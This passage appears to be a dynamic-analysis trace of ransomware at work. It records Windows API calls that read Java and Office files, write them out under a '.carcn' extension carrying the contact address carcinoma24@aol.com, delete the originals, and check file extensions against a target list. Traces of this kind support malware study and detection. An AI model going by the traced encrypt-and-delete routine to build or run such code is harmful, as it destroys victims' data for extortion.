(lpString1=".dat", lpString2=".carcn") returned 1 [0178.246] lstrlenW (lpString="tzdb.dat") returned 8 [0178.246] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.266] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=105500) returned 1 [0178.266] CloseHandle (hObject=0x35c) returned 1 [0178.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 0x20 [0178.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.271] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.271] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.271] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.271] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.322] GetLastError () returned 0x0 [0178.322] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x19c1c, lpOverlapped=0x0) returned 1 [0178.382] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x19c20, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x19c20, lpOverlapped=0x0) returned 1 [0178.384] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.384] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0178.384] SetEndOfFile (hFile=0x35c) returned 1 [0178.384] CloseHandle (hObject=0x35c) returned 1 [0178.388] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.388] SetEndOfFile (hFile=0x364) returned 1 [0178.390] CloseHandle (hObject=0x364) returned 1 [0178.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.390] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzdb.dat")) returned 1 [0178.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.391] lstrlenW (lpString=".doc") returned 4 [0178.391] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0178.391] lstrlenW (lpString=".docx") returned 5 [0178.391] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0178.391] lstrlenW (lpString=".pdf") returned 4 [0178.391] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0178.391] lstrlenW (lpString=".xls") returned 4 [0178.391] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0178.391] lstrlenW (lpString=".xlsx") returned 5 [0178.391] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0178.391] lstrlenW (lpString=".ppt") returned 4 [0178.391] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0178.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.391] lstrlenW (lpString=".zip") returned 4 [0178.391] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0178.391] lstrlenW (lpString=".rar") returned 4 [0178.391] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0178.391] lstrlenW (lpString=".bz2") returned 4 [0178.391] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0178.391] lstrlenW (lpString=".7z") returned 3 [0178.391] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0178.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.391] lstrlenW (lpString=".dbf") returned 4 [0178.391] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0178.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.391] lstrlenW (lpString=".1cd") returned 4 [0178.391] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0178.391] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.391] lstrlenW (lpString=".jpg") returned 4 [0178.391] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0178.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.392] lstrlenW (lpString=".doc") returned 4 [0178.392] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0178.392] lstrlenW (lpString=".docx") returned 5 [0178.392] lstrcmpiW (lpString1=".docx", lpString2="b.dat") returned -1 [0178.392] lstrlenW (lpString=".pdf") returned 4 [0178.392] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0178.392] lstrlenW (lpString=".xls") returned 4 [0178.392] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0178.392] lstrlenW (lpString=".xlsx") returned 5 [0178.392] lstrcmpiW (lpString1=".xlsx", lpString2="b.dat") returned -1 [0178.392] lstrlenW (lpString=".ppt") returned 4 [0178.392] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0178.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.392] lstrlenW (lpString=".zip") returned 4 [0178.392] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0178.392] lstrlenW (lpString=".rar") returned 4 [0178.392] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0178.392] lstrlenW (lpString=".bz2") returned 4 [0178.392] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0178.392] lstrlenW (lpString=".7z") returned 3 [0178.392] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0178.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.392] lstrlenW (lpString=".dbf") returned 4 [0178.392] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0178.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.392] lstrlenW (lpString=".1cd") returned 4 [0178.392] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0178.392] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat") returned 47 [0178.393] lstrlenW (lpString=".jpg") returned 4 [0178.393] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0178.393] lstrcmpiW (lpString1=".HTM", lpString2=".carcn") returned 1 [0178.393] lstrlenW (lpString="OSPP.HTM") returned 8 [0178.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.397] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=174528) returned 1 [0178.397] CloseHandle (hObject=0x364) returned 1 [0178.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 0x20 [0178.397] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.397] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.397] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.397] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.398] GetLastError () returned 0x0 [0178.398] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x2a9c0, lpOverlapped=0x0) returned 1 [0178.455] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x2a9d0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x2a9d0, lpOverlapped=0x0) returned 1 [0178.458] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.458] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0178.458] SetEndOfFile (hFile=0x35c) returned 1 [0178.458] CloseHandle (hObject=0x35c) returned 1 [0178.461] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.461] SetEndOfFile (hFile=0x364) returned 1 [0178.463] CloseHandle (hObject=0x364) returned 1 [0178.463] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.463] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.htm")) returned 1 [0178.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.464] lstrlenW (lpString=".doc") returned 4 [0178.464] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0178.464] lstrlenW (lpString=".docx") returned 5 [0178.464] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0178.464] lstrlenW (lpString=".pdf") returned 4 [0178.464] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0178.464] lstrlenW (lpString=".xls") returned 4 [0178.464] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0178.464] lstrlenW (lpString=".xlsx") returned 5 [0178.464] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0178.464] lstrlenW (lpString=".ppt") returned 4 [0178.464] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0178.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.464] lstrlenW (lpString=".zip") returned 4 [0178.464] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0178.464] lstrlenW (lpString=".rar") returned 4 [0178.464] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0178.464] lstrlenW (lpString=".bz2") returned 4 [0178.464] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0178.464] lstrlenW (lpString=".7z") returned 3 [0178.464] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0178.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.464] lstrlenW (lpString=".dbf") returned 4 [0178.464] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0178.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.464] lstrlenW (lpString=".1cd") returned 4 [0178.464] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0178.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.464] lstrlenW (lpString=".jpg") returned 4 [0178.464] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0178.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.465] lstrlenW (lpString=".doc") returned 4 [0178.465] lstrcmpiW (lpString1=".doc", lpString2=".HTM") returned -1 [0178.465] lstrlenW (lpString=".docx") returned 5 [0178.465] lstrcmpiW (lpString1=".docx", lpString2="P.HTM") returned -1 [0178.465] lstrlenW (lpString=".pdf") returned 4 [0178.465] lstrcmpiW (lpString1=".pdf", lpString2=".HTM") returned 1 [0178.465] lstrlenW (lpString=".xls") returned 4 [0178.465] lstrcmpiW (lpString1=".xls", lpString2=".HTM") returned 1 [0178.465] lstrlenW (lpString=".xlsx") returned 5 [0178.465] lstrcmpiW (lpString1=".xlsx", lpString2="P.HTM") returned -1 [0178.465] lstrlenW (lpString=".ppt") returned 4 [0178.465] lstrcmpiW (lpString1=".ppt", lpString2=".HTM") returned 1 [0178.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.465] lstrlenW (lpString=".zip") returned 4 [0178.465] lstrcmpiW (lpString1=".zip", lpString2=".HTM") returned 1 [0178.465] lstrlenW (lpString=".rar") returned 4 [0178.465] lstrcmpiW (lpString1=".rar", lpString2=".HTM") returned 1 [0178.465] lstrlenW (lpString=".bz2") returned 4 [0178.465] lstrcmpiW (lpString1=".bz2", lpString2=".HTM") returned -1 [0178.465] lstrlenW (lpString=".7z") returned 3 [0178.465] lstrcmpiW (lpString1=".7z", lpString2="HTM") returned -1 [0178.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.465] lstrlenW (lpString=".dbf") returned 4 [0178.465] lstrcmpiW (lpString1=".dbf", lpString2=".HTM") returned -1 [0178.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.465] lstrlenW (lpString=".1cd") returned 4 [0178.465] lstrcmpiW (lpString1=".1cd", lpString2=".HTM") returned -1 [0178.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.HTM") returned 51 [0178.465] lstrlenW (lpString=".jpg") returned 4 [0178.465] lstrcmpiW (lpString1=".jpg", lpString2=".HTM") returned 1 [0178.466] lstrcmpiW (lpString1=".VBS", lpString2=".carcn") returned 1 [0178.466] lstrlenW (lpString="OSPP.VBS") returned 8 [0178.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.466] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=94467) returned 1 [0178.466] CloseHandle (hObject=0x364) returned 1 [0178.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 0x20 [0178.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.466] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.466] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.467] GetLastError () returned 0x0 [0178.467] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x17103, lpOverlapped=0x0) returned 1 [0178.539] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0x17110, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0x17110, lpOverlapped=0x0) returned 1 [0178.541] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0178.541] WriteFile (in: hFile=0x35c, lpBuffer=0x3f04020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f04020*, lpNumberOfBytesWritten=0x34efc94*=0xe4, lpOverlapped=0x0) returned 1 [0178.541] SetEndOfFile (hFile=0x35c) returned 1 [0178.541] CloseHandle (hObject=0x35c) returned 1 [0178.543] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.543] SetEndOfFile (hFile=0x364) returned 1 [0178.544] CloseHandle (hObject=0x364) returned 1 [0178.544] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0178.544] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS" (normalized: "c:\\program files\\microsoft office\\office16\\ospp.vbs")) returned 1 [0178.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.545] lstrlenW (lpString=".doc") returned 4 [0178.545] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0178.545] lstrlenW (lpString=".docx") returned 5 [0178.545] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0178.545] lstrlenW (lpString=".pdf") returned 4 [0178.545] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0178.545] lstrlenW (lpString=".xls") returned 4 [0178.545] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0178.545] lstrlenW (lpString=".xlsx") returned 5 [0178.545] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0178.545] lstrlenW (lpString=".ppt") returned 4 [0178.545] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0178.545] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.545] lstrlenW (lpString=".zip") returned 4 [0178.545] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0178.545] lstrlenW (lpString=".rar") returned 4 [0178.545] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0178.545] lstrlenW (lpString=".bz2") returned 4 [0178.545] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0178.545] lstrlenW (lpString=".7z") returned 3 [0178.546] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0178.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.546] lstrlenW (lpString=".dbf") returned 4 [0178.546] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0178.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.546] lstrlenW (lpString=".1cd") returned 4 [0178.546] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0178.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.546] lstrlenW (lpString=".jpg") returned 4 [0178.546] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0178.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.546] lstrlenW (lpString=".doc") returned 4 [0178.546] lstrcmpiW (lpString1=".doc", lpString2=".VBS") returned -1 [0178.546] lstrlenW (lpString=".docx") returned 5 [0178.546] lstrcmpiW (lpString1=".docx", lpString2="P.VBS") returned -1 [0178.546] lstrlenW (lpString=".pdf") returned 4 [0178.546] lstrcmpiW (lpString1=".pdf", lpString2=".VBS") returned -1 [0178.546] lstrlenW (lpString=".xls") returned 4 [0178.546] lstrcmpiW (lpString1=".xls", lpString2=".VBS") returned 1 [0178.546] lstrlenW (lpString=".xlsx") returned 5 [0178.546] lstrcmpiW (lpString1=".xlsx", lpString2="P.VBS") returned -1 [0178.546] lstrlenW (lpString=".ppt") returned 4 [0178.546] lstrcmpiW (lpString1=".ppt", lpString2=".VBS") returned -1 [0178.546] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.546] lstrlenW (lpString=".zip") returned 4 [0178.546] lstrcmpiW (lpString1=".zip", lpString2=".VBS") returned 1 [0178.546] lstrlenW (lpString=".rar") returned 4 [0178.546] lstrcmpiW (lpString1=".rar", lpString2=".VBS") returned -1 [0178.546] lstrlenW (lpString=".bz2") returned 4 [0178.546] lstrcmpiW (lpString1=".bz2", lpString2=".VBS") returned -1 [0178.546] lstrlenW (lpString=".7z") returned 3 [0178.546] lstrcmpiW (lpString1=".7z", lpString2="VBS") returned -1 [0178.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.547] lstrlenW (lpString=".dbf") returned 4 [0178.547] lstrcmpiW (lpString1=".dbf", lpString2=".VBS") returned -1 [0178.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.547] lstrlenW (lpString=".1cd") returned 4 [0178.547] lstrcmpiW (lpString1=".1cd", lpString2=".VBS") returned -1 [0178.547] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office16\\OSPP.VBS") returned 51 [0178.547] lstrlenW (lpString=".jpg") returned 4 [0178.547] lstrcmpiW (lpString1=".jpg", lpString2=".VBS") returned -1 [0178.547] lstrcmpiW (lpString1=".XML", lpString2=".carcn") returned 1 [0178.547] lstrlenW (lpString="SLERROR.XML") returned 11 [0178.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.547] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=36336) returned 1 [0178.547] CloseHandle (hObject=0x364) returned 1 [0178.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml")) returned 0x20 [0178.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0178.547] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0178.548] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.548] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0178.548] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office16\\SLERROR.XML.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\office16\\slerror.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0178.548] GetLastError () returned 0x0 [0178.548] ReadFile (in: hFile=0x364, lpBuffer=0x3f04020, 